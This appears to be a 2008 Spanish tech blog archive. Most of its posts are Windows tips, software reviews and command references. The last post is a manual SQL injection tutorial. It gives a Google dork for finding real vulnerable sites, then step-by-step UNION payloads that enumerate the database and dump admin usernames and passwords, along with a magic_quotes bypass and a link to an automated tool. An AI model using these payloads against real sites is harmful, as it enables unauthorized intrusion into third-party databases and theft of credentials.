Si lo que quieres es validar un código, y no tiene un entorno de desarrollo de aplicaciones a la mano ni mucho menos un compilador, entonces usando codepad tienes una opción muy válida. Simula un compilador basado en Web de varios lenguajes de programación.

Entre los lenguajes de programación soportados por codepad tenemos al C, C++, D, Haskell, OCami, Perl, Python, Ruby, Scheme y Tcl. Por otro lado nos permite generar texto plano, es decir, ese texto limpio que en el notepad (bloc de notas) generamos.

Una vez que hayamos compilado nuestro código se nos generará una página estática. El servicio está completamente en inglés, en caso de que haya algún error en tu código se te indicará la línea en la cual se halla el mismo, y alguna información precisa.

Vía | Wwwhat’s New
Enlace web | codepad

Notepad++ 5.0 Beta: Más rápido, autocompletado de código…

2008-12-29T18:21:00.000-08:00

Notepad++ 5.0 Beta es la nueva versión aún en desarrollo de este excelente editor de texto, que si bien es cierto ya no lo consideraremos un editor de texto si no más bien un entorno de desarrollo de aplicaciones para distintos lenguajes de programación, que es gratuito.

Entre los lenguajes de programación soportados por Notepad++ 5.0 Beta tenemos Java, Visual Basic, C++, HTML, PHP, Javascript, C, Ruby, Python, SQL, XML, C#, entre otros más. Pero, la característica más destacada es su soporte para el autocompletado de código.

En Visual Basic esto es muy útil, ya que muchas veces es útil para simplificar y optimizar el tiempo que invertimos para desarrollar una aplicación; por otro lado Notepad++ 5.0 Beta tiene soporte para el resaltado y coloreado de sintaxis, y en definitiva, un excelente entorno para el desarrollo de software que a los usuarios avanzados les va a ser de gran utilidad.

Visto en CyberNet News
Sitio oficial | Notepad++
Descargar Notepad++

Grabando cualquier sonido de tu PC en formato MP3 o WAV

2008-12-29T18:17:00.000-08:00

Los programas gratis son cada vez más efectivos, tenemos unos que pueden ser bastante útiles con todo lo que requerimos, pero también unos que son compactos y minimalistas con una función en específico que cumple con sus metas a la perfección sin dificultades.

Y para el día de hoy hablaremos sobre PCWin Speaker Record, un práctico y básico (muy muy pero muy básico, tanto que me parece exagerado, carece de algunas características que podrían ser muy útiles) grabador de sonidos para Windows (Vista, XP, entre otros).

PCWin Speaker Record permite grabar sonidos tanto en formato MP3 como WAV; la idea es instalar el programa, abrirlo, escoger en qué formato grabar el sonido, clic en el botón “Start Recording“, cuando ya queramos finalizar la grabación damos clic “Stop Recording“.

Un requisito de PCWin Speaker Record para que funcione bien es instalar MPEG Layer 3 Audio Encoder. Por otro lado la calidad de los sonidos grabados con el programa es de 128Kbps, algo muy aceptable. En definitiva es un buen software de grabación de sonidos.

Enlace | PCWin Speaker Record

Convierte vídeos, y descarga desde YouTube o Google Video

2008-12-29T18:16:00.000-08:00

En un sentido lógico todos sabemos que Youtube es el sitio web más poderoso hoy día en el ámbito de vídeos online, claro está, y por allí le siguen otros, como Google Video. Ahora bien, ¿cómo descargar vídeos de Youtube? Es una pregunta muy inquietante para todos.

Recordemos que los vídeos de Youtube tienen formato flash (FLV), por lo que obviamente necesitamos o bien un códec para poder visualizarlos, o convertirlos a un formato común como MPEG o AVI; tranquilos que Clone2go Free Video Converter nos ayudará en ésto.

Clone2go Free Video Converter es un potente software de conversión de vídeos que tiene también la posibilidad de descargar vídeos de sitios como Youtube o Google Video; es un programa gratis para uso personal. Cuenta con una interfaz intuitiva y amigable al usuario.

Los formatos (de origen) que soporta Clone2go Free Video Converter son WMV, FLV, MPG, MPEG, RM, RMVB, AVI, 3GP, MKV, AVS, VOB y DAT, y los formatos (de destino) son AVI, FLV, MPEG. Es un software muy práctico, bastante sencillo de usar, aunque un poco pesado.

Enlace web | Clone2go Free Video Converter

Ejecutar aplicaciones con combinaciones de teclas en Windows

2008-12-29T18:05:00.001-08:00

Todos ya sabemos que Windows contiene -por defecto- ciertas combinaciones de teclas que nos permiten realizar acciones de una forma más rápida, como por ejemplo “Tecla Windows + E” para ejecutar el explorador de archivos, o “Tecla Windows + D” para mostrar el escritorio, y así la lista sigue, pues son infinitas combinaciones que tenemos para realizar casi que cualquier acción en Windows XP, que automatizan y agilizan la realización de cualquier operación en el sistema operativo; particularmente no puedo vivir (hablando de informática, claro está) sin las mismas, porque me hacen la vida un poco más práctica, así ahorro mucho tiempo.

De igual manera Windows nos permite asignar a cualquier aplicación una combinación de teclas que queramos, para así acceder con sólo presionar un conjunto de teclas de forma simultánea. En Windows a ésto se le llama “Tecla de método abreviado”, ya que “Ctrl + Alt” es una combinación estándar de Windows, el resto sería asignar una tecla en específico.

Dicho truco (o función) trabaja con cualquier aplicación, y lo que debemos hacer es:

Hacemos un clic derecho en la aplicación que deseamos (yo seleccioné Firefox) y luego presionamos en la opción “Propiedades” en el menú contextual desplegado.

En la ventana de Propiedades de la aplicación que hemos escogido buscamos un apartado que dice “Tecla de método abreviado”; en la misma, asignamos la tecla que queramos. En mi caso asigné la tecla F (inicial del programa escogido Firefox).

Aceptamos, y eso es todo lo que debemos hacer.

De tal manera que cuando yo quiera abrir Firefox solamente haga la combinación “Ctrl + Alt + F”, así le asigné a diferentes aplicaciones: Paint (Ctrl + Alt + P), Photoshop (Ctrl + Alt + D), FileZilla (Ctrl + Alt + G). Es una ágil forma de acceder rápidamente a nuestras aplicaciones.

Comandos MS-DOS más utilizados en la Programación Batch

2008-12-29T18:00:00.000-08:00

Los comandos MS-DOS presentados a continuación han sido extraídos (en gran parte) de WikiLearning, no es un “copy & paste” clásico, sólo estoy redistribuyendo la información.

Comandos básicos de cónsola

Cls: Limpia la pantalla.
Echo: Habilita o deshabilita el volcado de texto de programa.
Pause: Detiene la ejecución de comandos y continúa al presionar una tecla.
Date: Muestra la fecha del sistema.
Time: Muestra la hora del sistema.
Ver: Muestra la versión del sistema operativo.
Vol: Muestra el volumen específico de una unidad.
Path: Indica el trayecto por defecto del sistema.
Mem: Muestra datos sobre la memoria usada, libre, etc.

Comandos para la gestión de archivos

Copy: Copiar un archivo o una carpeta.
Del: Eliminar un archivo.
Mkdir o MD: Crear un directorio.
Rmdir o RD: Eliminar un directorio.
Chdir o CD: Cambia a un directorio deseado.
Dir: Muestra el contenido de un directorio.
Rename o Ren: Renombra un archivo.
Type: Muestra un tipo de fichero en específico.

Comandos de unidades de disco

Fdisk: Gestor de particiones de disco.
Format: Da formato a una unidad de disco.
Label: Asigna una etiqueta a un disco.
Scandisk: Comprueba el disco duro y lo repara si es necesario.

Comandos de red

ARP: Muestra la tabla de resolución de protocolos.
FTP: Cliente FTP de Windows.
IPConfig: Muestra la configuración del IP.
NBTSTAT: Muestra el estado de la red por BIOS.
Net: Comando que ofrece varias utilidades de red.
Netstat: Muestra el estado de la red de Windows.
Telnet: Inicia la sesión telnet.
Tracert: Hace una traza hasta llegar al destino.

Comandos de programación

Edit: Editor de textos, similar al bloc de notas.
Choice: Para dar al usuario a elegir entre distintas opciones.
Debug: Inicia el depurador de códigos.
If: Condicional para ejecutar distintas sentencias.
For: Ejecuta varias sentencias hasta terminar el ciclo.
Goto: “Ir a”. Se debe especificar la ruta.

Abrir varias sesiones a la vez en Windows Live Messenger 9

2008-12-29T17:56:00.000-08:00

Windows Live Messenger 2009, su nueva versión, en la que destacamos las nuevas (para algunos fantásticas) funciones del mismo; hubo una característica que resaltó por su utilidad y por la innovación que han hecho los de Microsoft.

Dicha característica consiste en abrir varias sesiones de una cuenta en distintos equipos conectados a Internet, para de esa forma ver lo que se escribe y gestiona en los equipos involucrados acá. Antes, cuando se iniciaba con una cuenta que ya tenía sesión abierta, se cerraba la sesión abierta diciendo que “se inició sesión desde otro lugar con esta cuenta”.

Lo que haremos será crear una clave en el Registro del Sistema para activar la función que deseamos, la de abrir varias sesiones a la vez con Windows Live Messenger 2009; a mí en lo particular me funciona a la perfección, sin necesidad de instalar un software adicional.

Abrimos el Registro del Sistema (Inicio > Ejecutar: “regedit”); allí buscamos lo siguiente:

HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Windows Live

Ahora hacemos un clic derecho sobre “Messenger” y creamos una DWORD con el nombre “MultipleInstances” (sin comillas). Luego un clic derecho sobre dicha DWORD y damos clic sobre Modificar, en donde ingresaremos el valor 1. Con ésto ya está finalizado el truco.

Windows: Añadir opción Copiar a carpeta en menú contextual

2008-12-29T17:55:00.001-08:00

Lo que haremos será ejecutar el Editor del Registro, de la forma más sencilla que es ir al Comando Ejecutar (Inicio > Ejecutar) y escribir regedit. Allí buscaremos la siguiente ruta:

HKEY_CLASSES_ROOT\AllFileSystemObjects
\Shellex\ContextMenuHandlers

Seguidamente crearemos dos claves dentro de ContextMenuHandlers. Sólo basta hacer clic derecho sobre ContextMenuHandlers, luego en “Nuevo” y asignamos los siguientes atributos (tanto para copiar como mover a, recuerden que hemos creado dos claves):

Primera clave (Copiar a):

Nombre: “Copy To” (sin comillas)
Información del Valor: {C2FBB630-2971-11D1-A18C-00C04FD75D13}

Segunda clave (Mover a):

Nombre: “Move To” (sin comillas)
Información del Valor: {C2FBB631-2971-11D1-A18C-00C04FD75D13}

De tal forma, cuando hagamos clic derecho sobre cualquier fichero o carpeta en Windows, tendremos dos opciones nuevas, una que nos permitirá copiar dicho elemento a donde queramos (”Copiar a”) y otra mover, como se puede presenciar en la captura anterior.

Reparar conflictos de conexiones de red con un archivo BAT

2008-12-29T17:54:00.001-08:00

Lo que haremos será copiar las siguientes líneas de comando en un fichero de texto plano (sin formato) creado con Bloc de Notas (Comando Ejecutar, Tecla Windows + R: Notepad):

ipconfig/release
ipconfig/renew
ipconfig /flushdns
ipconfig /registerdns
nbtstat -R

Seguidamente lo que haremos será guardar dicho fichero de texto con formato BAT, y cada vez que veamos que tenemos problemas con la red de Windows, lo ejecutamos y de esa forma se realizarán las operaciones más elementales para solucionar conflictos de red.

Si desean pueden descargar el fichero BAT para que no hagan el proceso (que yo hice) de abrir el bloc de notas, copiar los códigos, guardar el fichero con extensión BAT y etc. Más fácil, descargar y ejecutar cuando se requiera o se note que existe algún conflicto en la red.

Rápido: Activa o desactiva procesos que inician con Windows

2008-12-29T17:48:00.001-08:00

Todos sabemos de sobra que cuando Windows (cualquier sistema operativo) inicia, junto al mismo arrancan (o se ejecutan) distintos procesos (bien sean aplicaciones, antivirus, componentes del sistema, etc.), pero ésto a veces disminuye el rendimiento del equipo.

La forma más sencilla de gestionar dichos procesos es mediante una utilidad que trae el mismo sistema operativo Windows en la mayoría de sus versiones; es práctico, te permite activar y desactivar todo lo que arrancan junto a Windows, está totalmente en español, etc.

Lo que haremos en este tutorial es fácil, primero ejecutar la Utilidad de configuración del sistema, llamada MSConfig (Microsoft System Configuration Utility), de la siguiente forma:

Ejecutamos el Diálogo Ejecutar. Clic en Menú Inicio > Ejecutar

2. Escribimos “MSConfig” (sin comillas), y damos en Aceptar

3. Nos dirijimos a la pestaña (solapa) “Inicio” del MSConfig

Y en esta pantalla saldrán absolutamente todos los procesos y archivos que inician junto a Windows. Puedes activar y desactivar todo a tu gusto de manera rápida, sin problema ni limitación alguna pues es una utilidad auténtica del sistema Windows, creada para dicho objeto. Eso sí, tengan bastante cuidado con lo que hacen aquí.

¿Cómo saber qué activar y qué desactivar? Indicadores puntuales.

Cuando desconoces los procesos, y son raros

En este caso, lo más recomendable es investigar en cualquier página dedicada a procesos como ProcessLibrary.com: sólo investigas sobre dicho proceso y de ahí tomarás la decisión adecuada. Esto último que he dicho es muy recomendable

Cuando los conoces, y te son inútiles

Ahora bien, si ya conoces de qué procesos estamos hablando (Ares, Winamp, etc.; programas conocidos), pero no te son útiles, desactívalos; total, no los necesitas y hacen bulto, consumen memoria, hacen más lento el inicio de Windows, etcétera.

Cuando los conoces, y sí te son útiles

Obvio, déjalos quietos, no los desactives.

Definitivamente amigos, es una excelente utilidad que de seguro a muchos les va a ayudar en ocasiones precisas que deseen hacer algo rápido para gestión del inicio de Windows, MSConfig es de lo mejor; de hecho, es lo más adecuado cuando hay infecciones de virus.

Iniciar Windows sin ingresar nombre de usuario y contraseña

2008-12-29T17:41:00.000-08:00

Sí, iniciar Windows es a veces un poco tedioso, sobre todo cuando tenemos que ingresar el nombre de usuario (o seleccionar) y la contraseña; ¿por qué no automatizar ésta tarea? Es decir, que Windows entre de una vez, a lo bravo, directamente, sin pedir datos ni nada.

El truco que aplicaremos está bastante sencillo, es una opción de Windows. Decir que se necesitará tener la contraseña de la cuenta Administrador del sistema para poder aplicar éste truco; ésto, obviamente, es por asuntos de seguridad, lo cual me parece muy lógico.

Lo que haremos será abrir el Diálogo Ejecutar (Menú Inicio > Ejecutar) y escribir:

control userpasswords2

Enseguida nos aparecerá la siguiente pantalla

Como se darán cuenta en la captura de pantalla anterior, lo único que necesitaremos es desactivar la siguiente opción (desactivar la casilla, con un clic, en mi caso ya la desactivé):

Los usuarios deben escribir su nombre y contraseña para usar el equipo.

Y si es de pedirte contraseña del Administrador, deberás darla, para poder hacer efectiva dicha opción; con éste pequeño truco ya tu Windows va a iniciar de forma automática, sin necesidad de ingresar algún dato como nombre de usuario y contraseña. Muy útil es.

Google Chrome: Hoy día el navegador más rápido y prometedor

2008-12-29T15:53:00.000-08:00

Hace muchos días que probé Google Chrome, y no le presté bastante atención entonces, sobre todo porque estaba enfocado en mis estudios y pues no me daba tiempo; en éstos días me he propuesto a ver qué nos ofrece éste navegador, y la verdad es muy prometedor.

Si eres cuerdo te darás cuenta que Firefox 3 mejoró en su rendimiento, como también en otros aspectos. Sin embargo, continúa siendo un navegador que en distintas situaciones se pone un poco lento. Sobre todo cuando sólo vemos vídeos en sitios como Youtube.

He realizado diferentes pruebas (con comparaciones, obviamente) y llegué a la conclusión (muy personal) de que Google Chrome es el explorador web más rápido que existe en la actualidad, aunque ésto no lo es todo pues aún le falta mucho por madurar, y por crecer.

Además de ser el más rápido, lo considero el más prometedor. En un futuro (tal vez no tan lejano) lo veo a la par del mismísimo Firefox. Tal vez mis afirmaciones son apresuradas o poco fundamentadas, es mi opinión personal. Google Chrome tiene mucho para hablar.

Características más destacadas de Google Chrome

Navegación por pestañas independientes y dinámica

Cada pestaña es considerada un “proceso independiente”, por lo que si una falla, las demás no se verán afectadas y el navegador web no se verá en la obligación de bloquearse todo. Un aspecto de éstas es la flexibilidad que existe en las mismas; si arrastras y sueltas una pestaña, verás cómo puedes convertirla en una ventana independiente. Los invito a ver un vídeo de las pestañas dinámicas de Chrome.

Modo incógnito: que nadie se entere que estuviste ahí

Y si la computadora desde donde accesas a Internet no únicamente de ti, donde compartes la conexión, probablemente alguna vez tú has deseado que nadie se entere qué haces en Internet (qué páginas visitas); Google Chrome te ayudará en ésto pues te ofrece un “modo incógnito” que no guardará historiales web ni nada.

Navegación más segura: control anti-phishing, anti-fraudes…

Internet es un paraíso para los piratas informáticos, día a día estamos expuestos a fraudes por éste medio comunicativo. Google Chrome trae técnicas de seguridad muy potentes que te previenen de la visita de cualquier sitio considerado dañino.

Importación de marcadores, perfiles, y configuración de otros WebBrowsers

De forma automática, una vez que instalas Google Chrome y lo inicias por primera vez, te permite importar la configuración del navegador por defecto (o el que elijas: Firefox, Opera, IE, etc.), lo cual es útil para los que quieran ahorrarse éste proceso.

Marcadores instantáneos con un clic simple clic

Justo al lado de cada página web, en la barra de direcciones, se sitúa un icono con una estrella; al hacer clic en dicho icono podrás agregar la página en cuestión a tus marcadores favoritos. Es una forma simple y sencilla de gestionar sitios favoritos.

Aspecto y diseño minimalista pero a la vez elegante

Lo primero que se presencia en un software es el aspecto visual, ¿cierto? Google Chrome está muy dotado de diseño, pero que a la vez es minimalista. Como diría mi abuela, “suficiente para lo necesario”; ni exagera tampoco pasa desapercibido.

Barra de direcciones potente: tres funciones en uno

La barra de direcciones sirve para, obviamente, acceder a cualquier página; ahora bien, puedes realizar búsquedas en la misma (tanto de dominios como de frases), y desde la misma puedes gestionar tus marcadores favoritos. Es muy interesante.

Enlace | Combinaciones de teclas para Chrome

Enlace | Características de Google Chrome

Enlace web | Descagar Google Chrome

WinSCP, cliente gratuito de conexiones SFTP y FTP (Window

2008-12-29T15:20:00.000-08:00

De programas gratis estamos sobrados en Blog Informático, como también de software libre, ¿no? Ya hemos superado los miles de artículos, dedicados sólo a la informática, y seguimos adelante, día a día, dando lo mejor de nosotros para un público asiduo y fiel.

Siempre he dejado claro que FileZilla es mi cliente FTP favorito, de hecho es el que utilizo para cuando necesito transferir archivos al servidor de Blog Informático; pero ¿y existen alternativas? Sí, por ejemplo está WinSCP, un buen cliente FTP y SFTP para Windows.

Las características más destacadas de WinSCP son las siguientes:

Aspecto visual similar al de Norton Commander con dos paneles
Software multilenguaje: disponible también en español
Integración con Windows (arrastrar y soltar, accesos directos)
Compatible con protocolos SCP y SFTP sobre SSH-1 y SSH-2
Soporte para ficheros Batch (ejecución por lotes)
Potente editor de textos integrado en el cliente
Configuración de sitios puede ser exportada a un fichero, lo que agiliza el uso del programa como si de un software portable se tratara, puedes usarlo donde quieras

WinSCP ofrece, entre otras cosas, dos opciones en cuanto a su aspecto visual: la primera es la más básica, ofrece una interfaz como el explorador de Windows, con un panel, y otra, muy similar a la del Norton Commander, con dos paneles; ésto queda a tu criterio propio.

Sitio Oficial:WinSCP
Descargar WinSCP

Windows - Línea de comandos: Gestión de cuentas de usuario

2008-12-29T15:05:00.000-08:00

Así como muchos, yo también soy un aprendiz en la informática; aprendiz porque nunca voy a terminar de aprender, y día a día me la paso investigando nuevos contenidos, no sólo por Blog Informático, sino por mi interés y amor a la informática, para instruirme por mi cuenta.

En estos días he descubierto utilidades interesantes de línea de comandos en Windows, por ejemplo el comando net (después ampliaré más al respecto); éste comando tiene un (sub)comando llamado net user, que es el objeto de éste artículo que se enfoca en la gestión de cuentas de usuario en Windows mediante el intérprete de comandos (CMD).

Bien, el comando net user permite ver, agregar y modificar información sobre las cuentas de usuario que están en la base de datos de Windows. Al escribir el comando net user sólo, se mostrará una lista de todas las cuentas de usuario que están activas en Windows.

Los parámetros que nombraremos a continuación son usados con el comando net user NombreDeUsuario, para realizar la gestión que se requiere. Les aclaro que si se ejecuta el comando sólo, se mostrará la información sobre el usuario en sí. Datos muy específicos.

net user NombreDeUsuario *

Permite asignar una contraseña a cualquier usuario. Al ejecutar éste comando, se te pedirá dos veces la contraseña, que no se mostrará en la pantalla por seguridad.

net user NombreDeUsuario /add

Éste comando sirve para agregar una cuenta de usuario.

net user NombreDeUsuario /delete

Y obviamente, éste comando sirve para eliminar una cuenta de usuario.

¿Cómo hacer Administrador a cualquier usuario que creé?

Ejecuta el comando: net localgroup

La sintaxis del comando utilizado para agregar un usuario al grupo de usuarios de Administradores (”localgroup”, grupo local; es un grupo de usuarios del sistema operativo) es: net localgroup Administrador NombreDeUsuario /add

Estas línea de comandos son útiles para aquellos que tienen problemas con las cuentas de usuario de Windows; y por ejemplo, puedes ejecutar el símbolo del sistema, crear un usuario, y hacerlo Administrador, sin problema; claro está que debes tener permisología admin para realizar ésta última operación. Espero que le sepan darle un uso adecuado.

Sql inyection manual

2008-12-29T14:33:00.000-08:00

Lo primero es buscar un sitio vulnerable, no seremos muy selectivos con el objetivo ya que es solo para aprender la tecnica.

====================================================
Google Dork : inurl:”.php?id=” Powered by www.dowgroup.com
====================================================

Para este caso utilizaremos este dork entregado por P47r1ck en el foro de darkc0de.com, desconozco si fue el quien encontro el bug pero no viene al caso de

este tuto. Aprovecho de paso de mandarle saludos (Regards P47r1ck)
Si ingresamos ese dork apareceran una gran cantidad de sitios vulnerables incluyendo el de dowgroup.com pero ud elijan el que mas les acomode, para este

ejemplo utilizaremos:

http://vuln.site/division.php?id=

vamos a testear si es vulnerable visitandolo e inyectandole algo para ver como responde…

http://vuln.site/division.php?id=9′

y nos da algo como…

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/vuln.site/public_html/division.php on line 10

Entonces estamos ok.

Comenzamos con lo tipico…ver el numero de columnas..

http://vuln.site/division.php?id=-1+union+select+1 error…
http://vuln.site/division.php?id=-1+union+select+1,2 error…
http://vuln.site/division.php?id=-1+union+select+1,2,3 error…
http://vuln.site/division.php?id=-1+union+select+1,2,3,4

no aparece error entonces ya podemos comenzar a efectuar consultas mas robustas…

http://vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),version(),user(),database(),now()),3,4–

explicare un poco esta consulta si se fijan reemplaze en el numero 2 (pudo haber sido cualquiera de los 4 numeros)por:

concat_ws(char(58),version(),user(),database(),now())

concat_ws() funcion que permite concatenar cadenas pero se le pasa como parametro el caracter para separar estas cadenas concatenadas, en este caso use como
separador los dos puntos(:) o char(58).
Tambien se puede utilizar la funcion concat() pero es cuestion de gustos…

version()= entrega la version del motor de base de datos.
user() = esta claro no??
database()= el nombre de la base de datos.
now()= la fecha actual.

La salida a esta consulta deberia verse como esta:

5.0.45-community:dummy_user1@r19p.nsvulnwebhost.com.ar:vuln_db1:2008-06-28 05:01:30

Seguimos… ahora que tenemos el nombre de la base de datos debemos encontrar los nombres de las tablas y luego el de las columnas hasta obtener el valor de

los campos…

Manos a la obra se viene lo mas duro…

Obtencion de nombre de tablas:

Para obtener el nombre de las tablas usaremos la funcion information_schema.tables, la cual con el nombre de la base de datos mas la funcion limit podremos
obtener todos los nombres de las tablas.
Se utiliza de la siguiente manera…

http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=’vuln_db1′+limit+0,1–

Analizemos:

donde hiba el numero 2 coloque table_name y al final de los numeros de las columnas agregue:

+from+information_schema.tables (funcion que nos entrega el nombre de la tabla)
+where+table_schema=’vuln_db1′ que es la base de datos
+limit+0,1– que es la funcion que me permitira ir recorriendo la base de datos para obtener todos los nombres de las tablas…

Pero resulta que esta consulta esta bien estructurada y escrita pero NO FUNCIONA…lo que pasa es que el servidor este tenia el Magic_quote: ON, por lo tuve
que transformar el nombre de la base de datos a caracteres ascii: y me quedo asi:

vuln_db1 = char(118,117,108,110,95,100,98,49)

Reemplace en la consulta anterior por lo que me quedo asi:

http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+0,1–

y bueno la respuesta es:

admin (he aqui el nombre de la primera tabla de la base de datos), ahora debemos modificar el valor de la funcion limit para ir obteniendo las demas tablas.

http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+1,1–

division

http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+2,1–

dynamic_pages

y asi hasta que NO nos entregue mas datos.

Ahora que tenemos el nombre de las tablas obtendremos el nombre de las columnas de dicha tabla y nos valdremos de la funcion:
information_schema.columns.

La consulta nos quedaria mas menos asi:

http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+0,1–

que cambio con respecto a la consulta anterior??

que donde hiba table_name colocamos ahora column_name y la funcion information_schema.table paso a ser information_schema.columns ademas se agrego un and mas

el nombre de la tabla en ascii(admin=char(97,100,109,105,110).
El procedimiento sera el mismo iremos modificando el valor de limit hasta que no nos entregue resultados…

Que salida nos da:

admin_id (primera columna de tabla admin)

luego modificamos el limit

http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+1,1–

user_name

http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+2,1–

Password (esto se va poniendo interesante jejeje)

http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+3,1–

y luego no entrego mas columnas por lo que concluimos que se acabaron los datos de esa tabla. El procedimiento para obtener los datos de las otras tablas es

igual solo se debe pasar el nombre de la tabla a ascii y reemplazarce en el campo table_schema.

Ahora para cumplir con lo prometido leeremos desde la tabla admin el admin_id, user_name, Password y el email…

http://www.vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),admin_id,user_name,password,email),3,4+from+admin–

y nos dara como resultado…

1:admin_vuln:yeyea:root@vuln.site

Y vuala asi es como se realiza una injeccion sql.

Espero haberles aclarado algo el panorama a todos aquellos que recien se inician, recuerden todo lo aqui expuesto es con fines meramente educativos y no me

hago responsable del daño que puedan causar con esta informacion.

Para pasar la cadena a valores ascii pueden utilizar la siguiente funcion en php:

$texto=$_POST['texto'];
if($submit)
{
$char=”char(”;
for($k=0; $k<=strlen($texto)-1; $k++) { $char.=ord($texto[$k]); if ($k==strlen($texto)-1) { $char.=”)”; } else { $char.=”,”; } } ?>

la cual se envia desde un formulario mediante el metodo post… y la suben a algun server, o mas facil pueden utilizar el encoder programado por c1c4tr1z

en:http://www.new-bytes.net/encode/

Adjunto tambien un link de descarga de una aplicacion que realiza este trabajo en forma automatica…

http://darkc0de.com/others/schemafuzz.py

By Rayok3nt